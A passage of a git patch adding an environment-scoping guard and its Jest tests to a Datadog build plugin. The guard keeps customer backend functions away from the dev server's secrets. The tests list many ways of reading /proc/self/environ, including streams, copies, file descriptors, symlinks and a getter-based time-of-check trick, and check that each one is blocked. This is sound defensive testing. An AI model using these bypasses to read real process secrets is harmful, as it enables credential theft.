From 8f9d3486cf00fdfb2306adeeaf06710790775863 Mon Sep 17 00:00:00 2001 From: Tiffany Trinh Date: Fri, 4 Sep 2026 15:07:19 -0400 Subject: [PATCH 1/7] feat(apps): scope process.env to an allowlist during local execution (Secret Store parity) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Local execution runs a customer's backend function in-process, so without this it inherits the dev server's own full, real process.env — every secret and credential the dev server process has access to, not just what that function's declared connections should see. env-guard.ts closes this by installing a guarded, scoped env for the duration of runBlocked, mirroring network-guard.ts's shape and AsyncLocalStorage-per-call-chain scoping. Also closes several other read paths that reach the same real environment outside the documented process.env property: the /proc/self/environ (and /proc/[pid]/environ) file, reachable via fs.createReadStream/open/openSync/ promises.open/copyFileSync/copyFile/cpSync/cp (in either string or Buffer/URL path form), via constructing fs.ReadStream directly, via a numeric file descriptor already open against the real environ file, and via createReadStream/ReadStream's own options.fd (or a FileHandle's .fd) — resolved exactly once and reused for both the check and the real call, since an accessor-backed options.fd could otherwise show the check a harmless value and hand the real, separate read a different one; and process.report.excludeEnv, guarded against a customer function reassigning it from inside its own scope the same way process.env itself is guarded. The guard wraps Node's own native excludeEnv get/set (on versions that have one) rather than replacing them with a plain JS variable — a native, non- JS-triggered report (--report-on-fatalerror/--report-on-signal) reads Node's own internal flag directly, so a disconnected shadow would read back whatever value was last written while having no effect on what those reports actually contain. The action-catalog/backend-runtime adapter registrations in local-execution.ts now resolve their npm packages inside the same env/network scope as the customer function itself, rather than before it — their own top-level code would otherwise see the real, unscoped environment and unblocked network on first load in the process. env-guard.ts and network-guard.ts now share one getOrCreateShared() helper for the Symbol.for-keyed singleton pattern both need to survive being evaluated more than once (bundled copies, Jest's per-test-file isolation), instead of each keeping its own copy. env-guard.test.ts and local-execution.test.ts share a new installFakeProcessEnv() test helper for the same reason, instead of each duplicating the same beforeAll/afterAll real-environment swap — captured as a value snapshot rather than a reference to process.env itself, since the latter can already be a guard-installed accessor by the time the snapshot is taken, and restoring through that same reference later is a no-op under the guard's own self-reassignment check, permanently stranding process.env at the fake baseline instead of restoring the real environment for every test file that runs afterward in the same Jest worker. local-execution.ts's two lazy-import-and-memoize blocks for network-guard.ts and env-guard.ts are now one shared lazyImportOnce() helper. The reassignment-rejection check shared by process.env's and process.report.excludeEnv's setters, and the Object.defineProperty shape excludeEnv's native-vs-shadow branches both used, are now each expressed once instead of twice. env-guard.test.ts and local-execution.test.ts shared the same collection-time-capture bug: a describe-body `const` captured process.env before cleanEnv()'s beforeAll had a chance to strip secrets, so afterEach then restored the real, unstripped environment for the rest of the block. Both now capture inside beforeAll instead. --- .../plugins/apps/src/vite/env-guard.test.ts | 955 ++++++++++++++++++ packages/plugins/apps/src/vite/env-guard.ts | 583 +++++++++++ .../plugins/apps/src/vite/guarded-wrapper.ts | 49 + .../apps/src/vite/local-execution.test.ts | 282 +++++- .../plugins/apps/src/vite/local-execution.ts | 155 ++- .../plugins/apps/src/vite/network-guard.ts | 55 +- .../src/vite/shared-module-singleton.test.ts | 86 ++ .../apps/src/vite/shared-module-singleton.ts | 30 + packages/tests/src/_jest/helpers/env.test.ts | 28 + packages/tests/src/_jest/helpers/env.ts | 42 + 10 files changed, 2181 insertions(+), 84 deletions(-) create mode 100644 packages/plugins/apps/src/vite/env-guard.test.ts create mode 100644 packages/plugins/apps/src/vite/env-guard.ts create mode 100644 packages/plugins/apps/src/vite/guarded-wrapper.ts create mode 100644 packages/plugins/apps/src/vite/shared-module-singleton.test.ts create mode 100644 packages/plugins/apps/src/vite/shared-module-singleton.ts create mode 100644 packages/tests/src/_jest/helpers/env.test.ts diff --git a/packages/plugins/apps/src/vite/env-guard.test.ts b/packages/plugins/apps/src/vite/env-guard.test.ts new file mode 100644 index 000000000..c8e6c764d --- /dev/null +++ b/packages/plugins/apps/src/vite/env-guard.test.ts @@ -0,0 +1,955 @@ +// Unless explicitly stated otherwise all files in this repository are licensed under the MIT License. +// This product includes software developed at Datadog (https://www.datadoghq.com/). +// Copyright 2019-Present Datadog, Inc. + +/* global NodeJS */ + +import { installFakeProcessEnv } from '@dd/tests/_jest/helpers/env'; +import fs from 'fs'; +import os from 'os'; +import path from 'path'; + +import { SAFE_ENV_KEYS, buildScopedEnv, forceResetEnv, runWithScopedEnv } from './env-guard'; + +// Hard backstop: process.env is a process-wide singleton, so a test that leaves it swapped (e.g. a bug skipping its own restore) would otherwise leak into every later test in this Jest worker. +afterEach(() => { + forceResetEnv(); +}); + +describe('env-guard', () => { + installFakeProcessEnv({ + PATH: '/usr/bin', + HOME: '/home/dev', + NODE_ENV: 'test', + TMPDIR: '/tmp', + }); + + describe('buildScopedEnv', () => { + // Captured in beforeAll, not as a describe-body constant: a describe body runs at Jest's + // "collection time", before the outer beforeAll above has swapped process.env to the fake + // baseline, so a plain `const originalEnv = process.env` here would still capture the real, + // unswapped environment. A value snapshot via spread, not a reference to process.env + // itself: by this point process.env is env-guard.ts's own Proxy, and restoring via that + // same reference later is a no-op self-reassignment under the Proxy's own setter guard. + let originalEnv: typeof process.env; + beforeAll(() => { + originalEnv = { ...process.env }; + }); + + afterEach(() => { + process.env = originalEnv; + }); + + test('Should include only the safe allowlisted keys from the real environment, dropping everything else', () => { + const safeEntries = SAFE_ENV_KEYS.map((key, index) => [key, `/safe-value-${index}`]); + const safeValues = Object.fromEntries(safeEntries); + process.env = { + ...safeValues, + AWS_SECRET_ACCESS_KEY: 'super-secret-aws-key', + DD_API_KEY: 'the-dev-servers-own-api-key', + SOME_RANDOM_SHELL_VAR: 'whatever', + }; + + const scoped = buildScopedEnv({}); + + expect(scoped).toEqual(safeValues); + }); + + test('Should merge in the provided Custom Credentials under their own names', () => { + process.env = { PATH: '/usr/bin' }; + + const scoped = buildScopedEnv({ STRIPE_API_KEY: 'sk_test_123' }); + + expect(scoped).toEqual({ PATH: '/usr/bin', STRIPE_API_KEY: 'sk_test_123' }); + }); + + test('Should omit an allowlisted key entirely when unset in the real environment, rather than including it as undefined', () => { + process.env = { PATH: '/usr/bin' }; + + const scoped = buildScopedEnv({}); + + const unsetSafeKeys = SAFE_ENV_KEYS.filter((key) => key !== 'PATH'); + for (const key of unsetSafeKeys) { + expect(key in scoped).toBe(false); + } + }); + }); + + describe('runWithScopedEnv', () => { + test('Should expose only the scoped env to fn, not the real process.env', async () => { + const scoped = { PATH: '/usr/bin', STRIPE_API_KEY: 'sk_test_123' }; + + const seenKeys = await runWithScopedEnv(scoped, async () => Object.keys(process.env)); + + expect(seenKeys.sort()).toEqual(['PATH', 'STRIPE_API_KEY']); + }); + + test("Should never expose the real DD_API_KEY/DATADOG_API_KEY (the dev server's own credential) to fn", async () => { + const originalEnv = process.env; + process.env = { ...originalEnv, DD_API_KEY: 'the-dev-servers-own-api-key' }; + + try { + const seenApiKey = await runWithScopedEnv( + { PATH: '/usr/bin' }, + async () => process.env.DD_API_KEY, + ); + expect(seenApiKey).toBeUndefined(); + } finally { + process.env = originalEnv; + } + }); + + test('Should restore the real process.env after fn resolves', async () => { + const realEnvSnapshot = { ...process.env }; + await runWithScopedEnv({ PATH: '/usr/bin' }, async () => undefined); + expect({ ...process.env }).toEqual(realEnvSnapshot); + }); + + test('Should restore the real process.env even when fn throws', async () => { + const realEnvSnapshot = { ...process.env }; + await expect( + runWithScopedEnv({ PATH: '/usr/bin' }, async () => { + throw new Error('customer function boom'); + }), + ).rejects.toThrow('customer function boom'); + expect({ ...process.env }).toEqual(realEnvSnapshot); + }); + + // A zombie execution's own continuation stays bound to the scope it started with via + // AsyncLocalStorage, so it can never observe or corrupt a newer, unrelated execution's + // separate scope — mirrors network-guard.ts's abandon-not-cancel protection, solved the same + // way (blockedContext) for network access. Abandonment needs no explicit action here at all: + // local-execution.ts's timeout handler (abandonExecutionAndRejectWith) never touches env + // scoping, since there's no shared global state for a timed-out execution to force back. Each + // scope's own view is captured from INSIDE its own callback (a return value or a side-channel + // set synchronously before its own first await), not read from the test's outer continuation — + // AsyncLocalStorage only propagates through continuations spawned from within a run() + // callback, never back out to whatever merely called runWithScopedEnv without awaiting it. + test("Should not let an abandoned runWithScopedEnv call's own continuation see a newer, currently-active scoped window", async () => { + const realEnvSnapshot = { ...process.env }; + + let resolveAbandoned: (() => void) | undefined; + const abandoned = runWithScopedEnv({ PATH: '/abandoned' }, async () => { + await new Promise((resolve) => { + resolveAbandoned = resolve; + }); + // Resumed after `current` below has already started its own, separate scope — + // must still see its OWN scope, never the newer one's. + return process.env.PATH; + }); + + // A second, newer execution starts its own scoped-env window while the abandoned one's + // continuation is still pending (the timeout handler abandons it without cancelling it — + // see local-execution.ts's own "abandoned, not canceled" model). Its own view is captured + // synchronously, before its first await, so it's set within the same tick runWithScopedEnv + // is called in. + let resolveCurrent: (() => void) | undefined; + let currentSeenMidFlight: string | undefined; + const current = runWithScopedEnv({ PATH: '/current' }, async () => { + currentSeenMidFlight = process.env.PATH; + await new Promise((resolve) => { + resolveCurrent = resolve; + }); + return process.env.PATH; + }); + expect(currentSeenMidFlight).toBe('/current'); + + resolveAbandoned?.(); + await expect(abandoned).resolves.toBe('/abandoned'); + + resolveCurrent?.(); + await expect(current).resolves.toBe('/current'); + expect({ ...process.env }).toEqual(realEnvSnapshot); + }); + + // Other code — a test's own isolation swap, a dotenv-style tool — can and does reassign + // process.env wholesale after this module first loads; the guard must treat whatever it + // currently is as the new real fallback rather than silently going stale and unguarded. + test('Should adopt a wholesale process.env reassignment as the new real fallback, not a stale one', async () => { + process.env = { PATH: '/reassigned', SOME_NEW_VAR: 'set-after-reassignment' }; + + const seenPath = await runWithScopedEnv( + { PATH: '/scoped' }, + async () => process.env.PATH, + ); + expect(seenPath).toBe('/scoped'); + + expect(process.env.PATH).toBe('/reassigned'); + expect(process.env.SOME_NEW_VAR).toBe('set-after-reassignment'); + }); + + // Without this, a customer function could do `process.env = {...}` from inside its own + // scope with no error at all — a plain reassignment replaces process's own `env` property + // outright, bypassing every trap on the object those traps guard. The NEXT runWithScopedEnv + // call's own install check would then silently adopt the customer's object as the new real + // fallback, corrupting every later, unrelated execution's safe-allowlisted view. + test("Should reject a customer function's wholesale process.env reassignment from inside its own scope", async () => { + const realEnvSnapshot = { ...process.env }; + + await expect( + runWithScopedEnv({ PATH: '/scoped' }, async () => { + process.env = { INJECTED: 'attacker-controlled' }; + }), + ).rejects.toThrow(/[Rr]eassigning process\.env is not allowed/); + + // The blocked attempt must not have corrupted the real fallback a LATER, unrelated + // execution builds its own scoped view from. + expect({ ...process.env }).toEqual(realEnvSnapshot); + const laterScopedPath = await runWithScopedEnv( + { PATH: '/later' }, + async () => process.env.PATH, + ); + expect(laterScopedPath).toBe('/later'); + }); + + // Regression coverage: a naive fix (unconditionally adopting any reassignment made outside + // an active scope as the new real fallback) breaks the common "capture process.env, do + // something, restore it" pattern this test file's own beforeAll/afterAll uses — capturing + // process.env captures a reference to the Proxy itself, so restoring it later reassigns the + // Proxy as its own currentEnv() fallback, and every subsequent unscoped read would recurse + // into the same trap forever trying to resolve through itself. + test('Should not infinitely recurse when process.env is captured and reassigned back to itself', () => { + const captured = process.env; + process.env = captured; + + expect(() => process.env.PATH).not.toThrow(); + }); + + // Reflect.get throws for a non-object value, and isEnvProxy() is the setter's first check on + // whatever gets assigned — without its own object/null guard, `process.env = null` (or + // undefined) would surface as an unhandled native TypeError instead of either this file's own + // clear rejection message (from inside a scope) or a graceful no-op (from outside one). + test('Should not throw a native TypeError when process.env is reassigned to null or undefined', () => { + const before = process.env; + + try { + expect(() => { + process.env = null as unknown as NodeJS.ProcessEnv; + }).not.toThrow(); + expect(() => { + process.env = undefined as unknown as NodeJS.ProcessEnv; + }).not.toThrow(); + } finally { + process.env = before; + } + }); + + // Regression coverage: this file gets evaluated more than once in practice (Jest's + // per-test-file module isolation, or a duplicated bundled copy) — two jest.isolateModules() + // evaluations here reproduce that directly instead of relying on this test FILE's own single + // static import, whose Proxy-install history depends on unrelated preceding tests. The real + // secret is set BEFORE the first instance ever installs its Proxy, so that instance's own + // realEnv snapshot is guaranteed to capture it, matching how the bug actually manifests: a + // later-created instance's own runWithScopedEnv call must still hide it. Matches + // network-guard.ts's own getSharedContext() reasoning for why this file needs shared state. + test('Should correctly scope process.env even when this module is evaluated a second time', async () => { + const originalEnv = process.env; + process.env = { CROSS_INSTANCE_SECRET: 'sk_should_never_leak' }; + + let firstInstance: typeof import('./env-guard') | undefined; + let secondInstance: typeof import('./env-guard') | undefined; + jest.isolateModules(() => { + // eslint-disable-next-line @typescript-eslint/no-require-imports + firstInstance = require('./env-guard') as typeof import('./env-guard'); + }); + jest.isolateModules(() => { + // eslint-disable-next-line @typescript-eslint/no-require-imports + secondInstance = require('./env-guard') as typeof import('./env-guard'); + }); + if (!firstInstance || !secondInstance) { + throw new Error('jest.isolateModules() did not run its callback synchronously'); + } + expect(secondInstance.runWithScopedEnv).not.toBe(firstInstance.runWithScopedEnv); + + try { + const seenSecret = await secondInstance.runWithScopedEnv( + { PATH: '/scoped' }, + async () => process.env.CROSS_INSTANCE_SECRET, + ); + expect(seenSecret).toBeUndefined(); + } finally { + process.env = originalEnv; + } + }); + + // Without a setPrototypeOf trap, this call defaults to mutating `target` — the real, + // unscoped env object — even when called from inside a scope, letting a customer function + // poison the real environment's prototype chain permanently, outliving its own scope. + test('Should confine Object.setPrototypeOf(process.env, ...) to the scoped view, never the real env', async () => { + const realProtoBefore = Object.getPrototypeOf(process.env); + const poisonedProto = { POISONED: 'yes' }; + + await runWithScopedEnv({ PATH: '/scoped' }, async () => { + Object.setPrototypeOf(process.env, poisonedProto); + return undefined; + }); + + expect(Object.getPrototypeOf(process.env)).toBe(realProtoBefore); + }); + + // Without a getPrototypeOf trap, this always defaults to reading `target` (the real env's + // untouched prototype) even inside a scope — so a customer function that just successfully + // scoped-set a prototype via setPrototypeOf would immediately read back the wrong value. + test('Should read back the same prototype just set via Object.setPrototypeOf(process.env, ...) within the same scope', async () => { + const scopedProto = { SCOPED: 'yes' }; + + await runWithScopedEnv({ PATH: '/scoped' }, async () => { + Object.setPrototypeOf(process.env, scopedProto); + expect(Object.getPrototypeOf(process.env)).toBe(scopedProto); + }); + }); + + // Without a preventExtensions trap, this call defaults to forwarding to `target` — the real + // env object — permanently making it non-extensible. Every later unscoped + // ownKeys/getOwnPropertyDescriptor call then throws, since the Proxy's ownKeys trap (which + // resolves through currentEnv(), not the now-frozen target) returns a key set the engine can + // no longer reconcile with a non-extensible target — bricking process.env for the rest of the + // dev server process. + test('Should reject Object.freeze/Object.preventExtensions(process.env) without bricking it', async () => { + await runWithScopedEnv({ PATH: '/scoped' }, async () => { + expect(() => Object.freeze(process.env)).toThrow(); + return undefined; + }); + + expect(Object.isExtensible(process.env)).toBe(true); + process.env.POST_ATTEMPT_KEY = 'still-writable'; + expect(process.env.POST_ATTEMPT_KEY).toBe('still-writable'); + delete process.env.POST_ATTEMPT_KEY; + }); + }); + + // Regression coverage for the /proc/.../environ backing-store bypass: swapping process.env alone doesn't stop reads of the kernel-backed environ file directly on Linux. + describe('environ-file guard', () => { + test('Should block fs.readFileSync("/proc/self/environ") during an active scoped-env window', async () => { + await runWithScopedEnv({ PATH: '/scoped' }, async () => { + expect(() => fs.readFileSync('/proc/self/environ')).toThrow( + /not allowed in backend functions/, + ); + }); + }); + + test(`Should block fs.readFileSync("/proc/${process.pid}/environ") during an active scoped-env window`, async () => { + await runWithScopedEnv({ PATH: '/scoped' }, async () => { + expect(() => fs.readFileSync(`/proc/${process.pid}/environ`)).toThrow( + /not allowed in backend functions/, + ); + }); + }); + + test('Should block fs.promises.readFile("/proc/self/environ") during an active scoped-env window', async () => { + await runWithScopedEnv({ PATH: '/scoped' }, async () => { + await expect(fs.promises.readFile('/proc/self/environ')).rejects.toThrow( + /not allowed in backend functions/, + ); + }); + }); + + test('Should block the callback-style fs.readFile("/proc/self/environ") during an active scoped-env window', async () => { + await runWithScopedEnv({ PATH: '/scoped' }, async () => { + expect(() => fs.readFile('/proc/self/environ', () => {})).toThrow( + /not allowed in backend functions/, + ); + }); + }); + + test('Should block fs.createReadStream("/proc/self/environ") during an active scoped-env window', async () => { + await runWithScopedEnv({ PATH: '/scoped' }, async () => { + expect(() => fs.createReadStream('/proc/self/environ')).toThrow( + /not allowed in backend functions/, + ); + }); + }); + + // fs.createReadStream(path, { fd }) makes Node read from the fd directly, ignoring `path` + // entirely — the guard must inspect options.fd too, not just the (here, deliberately + // unrelated) leading path argument. Linux-only: opening a real fd against + // /proc/self/environ needs /proc to exist at all. + test('Should block fs.createReadStream(unrelatedPath, { fd }) when fd is already open against /proc/self/environ', async () => { + if (process.platform !== 'linux') { + return; + } + + const fd = fs.openSync('/proc/self/environ', 'r'); + try { + await runWithScopedEnv({ PATH: '/scoped' }, async () => { + expect(() => fs.createReadStream('/some/unrelated/path', { fd })).toThrow( + /not allowed in backend functions/, + ); + }); + } finally { + fs.closeSync(fd); + } + }); + + test('Should block new fs.ReadStream(unrelatedPath, { fd }) when fd is already open against /proc/self/environ', async () => { + if (process.platform !== 'linux') { + return; + } + + const fd = fs.openSync('/proc/self/environ', 'r'); + try { + await runWithScopedEnv({ PATH: '/scoped' }, async () => { + expect(() => + Reflect.construct(fs.ReadStream, ['/some/unrelated/path', { fd }]), + ).toThrow(/not allowed in backend functions/); + }); + } finally { + fs.closeSync(fd); + } + }); + + // Mocks process.platform and fs.readlinkSync so the fd-option resolution path itself is + // verified on every OS this suite runs on, not just in Linux CI (mirroring the equivalent + // mocked test for the plain numeric-fd case above). + test('Should block fs.createReadStream(unrelatedPath, { fd }) when fd resolves to /proc/self/environ, on any OS', async () => { + const platformDescriptor = Object.getOwnPropertyDescriptor(process, 'platform'); + Object.defineProperty(process, 'platform', { value: 'linux', configurable: true }); + const readlinkSyncSpy = jest + .spyOn(fs, 'readlinkSync') + .mockImplementation((linkPath) => { + expect(linkPath).toBe('/proc/self/fd/99'); + return '/proc/self/environ'; + }); + + try { + await runWithScopedEnv({ PATH: '/scoped' }, async () => { + expect(() => fs.createReadStream('/some/unrelated/path', { fd: 99 })).toThrow( + /not allowed in backend functions/, + ); + }); + } finally { + readlinkSyncSpy.mockRestore(); + if (platformDescriptor) { + Object.defineProperty(process, 'platform', platformDescriptor); + } + } + }); + + test('Should not block fs.createReadStream(unrelatedPath, { fd }) when fd points at an unrelated real file', async () => { + const tmpFile = path.join(os.tmpdir(), `env-guard-fd-option-${process.pid}.txt`); + fs.writeFileSync(tmpFile, 'not a secret'); + const fd = fs.openSync(tmpFile, 'r'); + let stream: fs.ReadStream | undefined; + try { + await runWithScopedEnv({ PATH: '/scoped' }, async () => { + expect(() => { + stream = fs.createReadStream('/some/unrelated/path', { fd }); + stream.on('error', () => {}); + }).not.toThrow(); + }); + } finally { + stream?.destroy(); + fs.rmSync(tmpFile, { force: true }); + } + }); + + // options.fd can be an accessor property whose getter returns a different value on each + // read. If the guard read it once for its own check and then let the real call read it + // again independently, a getter could show the check a safe fd and hand the real + // implementation's own, separate read a different, real target — the fix instead resolves + // options.fd exactly once and reuses that single materialized value for the real call too, + // so whatever the getter would return on a later read is never actually reached. Verified + // by content, not by expecting a throw: the correct fixed behavior is that the read + // proceeds safely using only the first value seen, not that it errors. + test("Should make the real read use only the fd value the guard's own check saw, never a getter's later, different return value", async () => { + const platformDescriptor = Object.getOwnPropertyDescriptor(process, 'platform'); + Object.defineProperty(process, 'platform', { value: 'linux', configurable: true }); + const safeFile = path.join(os.tmpdir(), `env-guard-fd-toctou-safe-${process.pid}.txt`); + const secretFile = path.join( + os.tmpdir(), + `env-guard-fd-toctou-secret-${process.pid}.txt`, + ); + fs.writeFileSync(safeFile, 'safe-content'); + fs.writeFileSync(secretFile, 'SECRET-CONTENT'); + const safeFd = fs.openSync(safeFile, 'r'); + const secretFd = fs.openSync(secretFile, 'r'); + const readlinkSyncSpy = jest + .spyOn(fs, 'readlinkSync') + .mockImplementation((linkPath) => { + if (linkPath === `/proc/self/fd/${secretFd}`) { + return '/proc/self/environ'; + } + return '/some/unrelated/real/file'; + }); + + let readCount = 0; + const options = { + get fd() { + readCount += 1; + // First read (the guard's own check) sees the safe fd; every later read (what + // the real implementation would use if it read this property independently) + // would see the secret one instead. + return readCount === 1 ? safeFd : secretFd; + }, + }; + + let stream: fs.ReadStream | undefined; + let streamData = ''; + try { + await runWithScopedEnv({ PATH: '/scoped' }, async () => { + stream = fs.createReadStream('/some/unrelated/path', options); + await new Promise((resolve, reject) => { + stream?.on('data', (chunk) => { + streamData += chunk; + }); + stream?.on('end', resolve); + stream?.on('error', reject); + }); + }); + + expect(streamData).toBe('safe-content'); + } finally { + stream?.destroy(); + readlinkSyncSpy.mockRestore(); + if (platformDescriptor) { + Object.defineProperty(process, 'platform', platformDescriptor); + } + fs.closeSync(secretFd); + fs.rmSync(safeFile, { force: true }); + fs.rmSync(secretFile, { force: true }); + } + }); + + test('Should block fs.openSync/fs.open("/proc/self/environ") during an active scoped-env window', async () => { + await runWithScopedEnv({ PATH: '/scoped' }, async () => { + expect(() => fs.openSync('/proc/self/environ', 'r')).toThrow( + /not allowed in backend functions/, + ); + expect(() => fs.open('/proc/self/environ', 'r', () => {})).toThrow( + /not allowed in backend functions/, + ); + }); + }); + + test('Should block fs.promises.open("/proc/self/environ") during an active scoped-env window', async () => { + await runWithScopedEnv({ PATH: '/scoped' }, async () => { + await expect(fs.promises.open('/proc/self/environ', 'r')).rejects.toThrow( + /not allowed in backend functions/, + ); + }); + }); + + test('Should block a Buffer or URL path pointing at /proc/self/environ, not just a string path', async () => { + await runWithScopedEnv({ PATH: '/scoped' }, async () => { + const environPathAsBuffer = Buffer.from('/proc/self/environ'); + expect(() => fs.readFileSync(environPathAsBuffer)).toThrow( + /not allowed in backend functions/, + ); + const environPathAsUrl = new URL('file:///proc/self/environ'); + expect(() => fs.readFileSync(environPathAsUrl)).toThrow( + /not allowed in backend functions/, + ); + }); + }); + + test('Should block an unnormalized path like /proc/self/../self/environ, which resolves to the same file', async () => { + await runWithScopedEnv({ PATH: '/scoped' }, async () => { + expect(() => fs.readFileSync('/proc/self/../self/environ')).toThrow( + /not allowed in backend functions/, + ); + }); + }); + + test('Should block /proc/thread-self/environ, not just /proc/self and /proc/', async () => { + await runWithScopedEnv({ PATH: '/scoped' }, async () => { + expect(() => fs.readFileSync('/proc/thread-self/environ')).toThrow( + /not allowed in backend functions/, + ); + }); + }); + + // A symlink pointing at /proc/self/environ has its own, unrelated literal path, so + // isEnvironPath() must resolve via realpathSync before matching the regex — fs.readFileSync + // and friends follow symlinks transparently, so matching only the literal string would let + // this through. Only runs on Linux, where /proc/self/environ exists to symlink to and read + // through — local dev on macOS has no /proc to reproduce this against. + test('Should block reading /proc/self/environ through a symlink, not just the literal path', async () => { + if (process.platform !== 'linux') { + return; + } + + const linkPath = path.join(os.tmpdir(), `env-guard-symlink-${process.pid}`); + fs.symlinkSync('/proc/self/environ', linkPath); + + try { + await runWithScopedEnv({ PATH: '/scoped' }, async () => { + expect(() => fs.readFileSync(linkPath)).toThrow( + /not allowed in backend functions/, + ); + }); + } finally { + fs.unlinkSync(linkPath); + } + }); + + // A numeric fd already open against /proc/self/environ is just as valid a first argument to + // fs.readFileSync as a path string — opened here, outside any scope, matching a legitimate + // fd a customer function could plausibly be handed some other way. Linux-only: resolving a + // fd back to a path at all relies on /proc/self/fd/, which only exists on Linux. + test('Should block reading a numeric fd already open against /proc/self/environ', async () => { + if (process.platform !== 'linux') { + return; + } + + const fd = fs.openSync('/proc/self/environ', 'r'); + try { + await runWithScopedEnv({ PATH: '/scoped' }, async () => { + expect(() => fs.readFileSync(fd)).toThrow(/not allowed in backend functions/); + }); + } finally { + fs.closeSync(fd); + } + }); + + // The test above only exercises real behavior on Linux (it early-returns everywhere else, + // since /proc/self/fd doesn't exist off Linux); this one mocks process.platform and + // fs.readlinkSync so the numeric-fd resolution path itself is verified on every OS this + // suite runs on, not just in Linux CI. + test('Should resolve a numeric fd to its environ target via a mocked /proc/self/fd readlink, on any OS', async () => { + const platformDescriptor = Object.getOwnPropertyDescriptor(process, 'platform'); + Object.defineProperty(process, 'platform', { value: 'linux', configurable: true }); + const readlinkSyncSpy = jest + .spyOn(fs, 'readlinkSync') + .mockImplementation((linkPath) => { + expect(linkPath).toBe('/proc/self/fd/99'); + return '/proc/self/environ'; + }); + + try { + await runWithScopedEnv({ PATH: '/scoped' }, async () => { + expect(() => fs.readFileSync(99)).toThrow(/not allowed in backend functions/); + }); + } finally { + readlinkSyncSpy.mockRestore(); + if (platformDescriptor) { + Object.defineProperty(process, 'platform', platformDescriptor); + } + } + }); + + test('Should not block reading /proc/self/environ once the scoped-env window has closed', async () => { + await runWithScopedEnv({ PATH: '/scoped' }, async () => undefined); + + // Off Linux, /proc doesn't exist; the assertion is only that our guard doesn't fire once idle, not that the read succeeds. + expect(() => fs.readFileSync('/proc/self/environ')).not.toThrow( + /not allowed in backend functions/, + ); + }); + + // realpathSync can fail for reasons other than "path doesn't exist yet" (EACCES, ELOOP, ...). + // Treating every failure the same as ENOENT and falling back to the unresolved literal path + // would never match ENVIRON_PATH_RE for a symlink, silently letting a real /proc/.../environ + // read through. Must deny the read either way, but by re-throwing the real error rather than + // a misleading "environ" message — the real fs call would hit the identical error anyway, so + // this only fixes what the customer sees, not whether the read is denied. + test('Should re-throw the real error (not a misleading "environ" message) when realpathSync fails for a reason other than ENOENT', async () => { + const realpathSyncSpy = jest.spyOn(fs, 'realpathSync').mockImplementationOnce(() => { + const error: NodeJS.ErrnoException = new Error('permission denied'); + error.code = 'EACCES'; + throw error; + }); + + try { + await runWithScopedEnv({ PATH: '/scoped' }, async () => { + expect(() => fs.readFileSync('/some/unrelated/path')).toThrow( + 'permission denied', + ); + }); + } finally { + realpathSyncSpy.mockRestore(); + } + }); + + // fs.promises.* must reject, never throw synchronously, on any failure including this one — + // a caller doing `fs.promises.readFile(x).catch(handler)` with no enclosing try/catch would + // otherwise crash the process instead of reaching its own error handling. + test('Should reject (not throw synchronously) when realpathSync fails for a reason other than ENOENT during an fs.promises.* call', async () => { + const realpathSyncSpy = jest.spyOn(fs, 'realpathSync').mockImplementationOnce(() => { + const error: NodeJS.ErrnoException = new Error('permission denied'); + error.code = 'EACCES'; + throw error; + }); + + try { + await runWithScopedEnv({ PATH: '/scoped' }, async () => { + await expect(fs.promises.readFile('/some/unrelated/path')).rejects.toThrow( + 'permission denied', + ); + }); + } finally { + realpathSyncSpy.mockRestore(); + } + }); + + test('Should not block reading an unrelated real file during an active scoped-env window', async () => { + const tmpFile = path.join(os.tmpdir(), `env-guard-test-${process.pid}.txt`); + fs.writeFileSync(tmpFile, 'not a secret'); + + try { + await runWithScopedEnv({ PATH: '/scoped' }, async () => { + expect(fs.readFileSync(tmpFile, 'utf8')).toBe('not a secret'); + await expect(fs.promises.readFile(tmpFile, 'utf8')).resolves.toBe( + 'not a secret', + ); + }); + } finally { + fs.rmSync(tmpFile); + } + }); + + // copyFileSync/copyFile/promises.copyFile/cpSync/promises.cp copy the source file's bytes + // via a native binding that bypasses readFile*/open* entirely, so they need their own, + // separately-verified coverage rather than relying on the read-family guard above. + test('Should block fs.copyFileSync("/proc/self/environ") during an active scoped-env window', async () => { + const dest = path.join(os.tmpdir(), `env-guard-copy-${process.pid}.txt`); + try { + await runWithScopedEnv({ PATH: '/scoped' }, async () => { + expect(() => fs.copyFileSync('/proc/self/environ', dest)).toThrow( + /not allowed in backend functions/, + ); + }); + } finally { + fs.rmSync(dest, { force: true }); + } + }); + + test('Should block the callback-style fs.copyFile("/proc/self/environ") during an active scoped-env window', async () => { + const dest = path.join(os.tmpdir(), `env-guard-copy-cb-${process.pid}.txt`); + try { + await runWithScopedEnv({ PATH: '/scoped' }, async () => { + expect(() => fs.copyFile('/proc/self/environ', dest, () => {})).toThrow( + /not allowed in backend functions/, + ); + }); + } finally { + fs.rmSync(dest, { force: true }); + } + }); + + test('Should block fs.promises.copyFile("/proc/self/environ") during an active scoped-env window', async () => { + const dest = path.join(os.tmpdir(), `env-guard-copy-async-${process.pid}.txt`); + try { + await runWithScopedEnv({ PATH: '/scoped' }, async () => { + await expect(fs.promises.copyFile('/proc/self/environ', dest)).rejects.toThrow( + /not allowed in backend functions/, + ); + }); + } finally { + fs.rmSync(dest, { force: true }); + } + }); + + test('Should block fs.cpSync/fs.promises.cp("/proc/self/environ") during an active scoped-env window', async () => { + const destSync = path.join(os.tmpdir(), `env-guard-cp-sync-${process.pid}.txt`); + const destAsync = path.join(os.tmpdir(), `env-guard-cp-async-${process.pid}.txt`); + try { + await runWithScopedEnv({ PATH: '/scoped' }, async () => { + expect(() => fs.cpSync('/proc/self/environ', destSync)).toThrow( + /not allowed in backend functions/, + ); + await expect(fs.promises.cp('/proc/self/environ', destAsync)).rejects.toThrow( + /not allowed in backend functions/, + ); + }); + } finally { + fs.rmSync(destSync, { force: true }); + fs.rmSync(destAsync, { force: true }); + } + }); + + // new fs.ReadStream(path) constructs directly, bypassing the createReadStream factory the + // guard above wraps — verified separately since the two are distinct entry points. + // @types/node declares no (path, options) constructor for ReadStream (it inherits + // Readable's), so Reflect.construct invokes the real, untyped signature directly instead of + // fighting that gap with a cast. The unrelated-file case attaches a no-op error listener and + // destroys the stream itself: its underlying async open can still be in flight when the + // test's own finally block deletes the file, which would otherwise surface as an unhandled + // 'error' event and crash the process rather than fail the assertion. + function constructReadStream(rawPath: string): fs.ReadStream { + const stream: fs.ReadStream = Reflect.construct(fs.ReadStream, [rawPath]); + stream.on('error', () => {}); + return stream; + } + + test('Should block constructing new fs.ReadStream("/proc/self/environ") during an active scoped-env window', async () => { + await runWithScopedEnv({ PATH: '/scoped' }, async () => { + 